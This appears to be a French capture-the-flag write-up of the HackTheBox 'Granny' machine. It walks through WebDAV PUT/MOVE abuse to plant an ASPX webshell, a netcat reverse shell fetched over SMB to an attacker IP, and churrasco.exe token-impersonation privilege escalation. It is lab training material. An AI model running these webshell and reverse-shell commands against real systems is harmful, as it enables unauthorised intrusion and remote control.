> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md). # Compte rendu HackTheBox de Granny {% embed url="" %} {% hint style="warning" %} **Compétences :** * Abus des méthodes PUT et MOVE - Téléversement d'un WebShell Aspx * Microsoft IIS 6.0 - Débordement de tampon à distance WebDAV 'ScStoragePathFromUrl' (RCE) * Kidnapping de jeton - Churrasco (élévation de privilèges) {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.
**Vérification de la connectivité VPN** Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.
**Découverte des ports ouverts avec Nmap :** ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.15 -oG allPorts ```
**Analyse des versions des ports avec Nmap :** Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p80 10.10.10.15 -oN targeted ```
### Port 80 - HTTP
## Vulnérabilité WebDAV Le port 80 est ouvert et le serveur prend en charge WebDAV. Cela nous permet potentiellement de téléverser des fichiers via la méthode PUT et de les renommer avec MOVE.
Créer un fichier de test : ```bash echo "this is a test" > test.txt ``` Se connecter au serveur avec l'outil **cadaver** outil : ```bash cadaver 10.10.10.15 ``` Essayer de téléverser le fichier avec la commande PUT :
* Résultat : succès.
### **Téléversement du Web Shell** Copier un WebShell ASPX préexistant : ```bash cp /usr/share/davtest/backdoors/aspx_cmd.aspx . ``` Essayer de le téléverser directement : ```powershell put aspx_cmd.aspx ``` Résultat : échec (le serveur bloque les fichiers avec l'extension .aspx).
Changer l'extension en **.txt**: ```bash mv aspx_cmd.aspx cmd.txt ``` Essayer à nouveau le téléversement : ```powershell PUT cmd.txt ``` * Résultat : succès.
#### Renommer le fichier avec MOVE pour restaurer l'extension : ```powershell move cmd.txt cmd.aspx ```
Accéder au WebShell via le navigateur :
### **Shell inversé via le WebShell :** Placer un exécutable Netcat dans le répertoire courant : ```bash cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe . ``` Lancer un serveur SMB pour partager le fichier : ```bash smbserver.py smbFolder $(pwd) -smb2support ``` Écouter sur votre machine sur le port 443 : ```bash sudo rlwrap nc -nvlp 443 ``` Exécuter la commande de reverse shell depuis le WebShell : ```bash //10.10.14.30/smbFolder/nc.exe -e cmd 10.10.14.30 443 ```
## **Élévation de privilèges :** ### Exploitation du noyau - Windows Server 2003 En utilisant les `systeminfo` commande, nous constatons que l'équipement est très ancien (Windows Server 2003) : ```bash systeminfo ```
Nous avons aussi le `SeImpersonatePrivilege` privilège, qui nous permet d'essayer d'élever nos privilèges.
Pour contourner cette limitation, nous utiliserons l' **churrasco.exe** outil. {% embed url="" %} /*/* Transfert de fichiers Windows (SMB)/*/* > Nous utilisons **smbserver.py** pour partager un répertoire contenant le fichier d'exploit 40627.exe. Ce fichier est ensuite copié sur la machine cible. ```bash smbserver.py share $(pwd) -smb2support ``` Depuis la machine cible, nous avons copié le fichier malveillant à l'aide de la commande SMB : ```bash copy //10.10.14.30/share/churrasco.exe churrasco.exe ``` Nous pouvons ensuite exécuter n'importe quelle commande avec ce binaire, par exemple : ```powershell ./churrasco.exe "whoami" ```
**Établir un shell inversé** Pour établir un shell inversé, nous écoutons sur le port 443 : ```bash sudo rlwrap nc -nvlp 443 ``` Nous recréons un serveur SMB avec **nc.exe**: ```bash smbserver.py share $(pwd) -smb2support ``` Enfin, nous exécutons le reverse shell avec la commande suivante : ```bash ./churrasco.exe "//10.10.14.30/share/nc.exe -e cmd 10.10.14.30 443" ```
### Drapeau root.txt :)
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.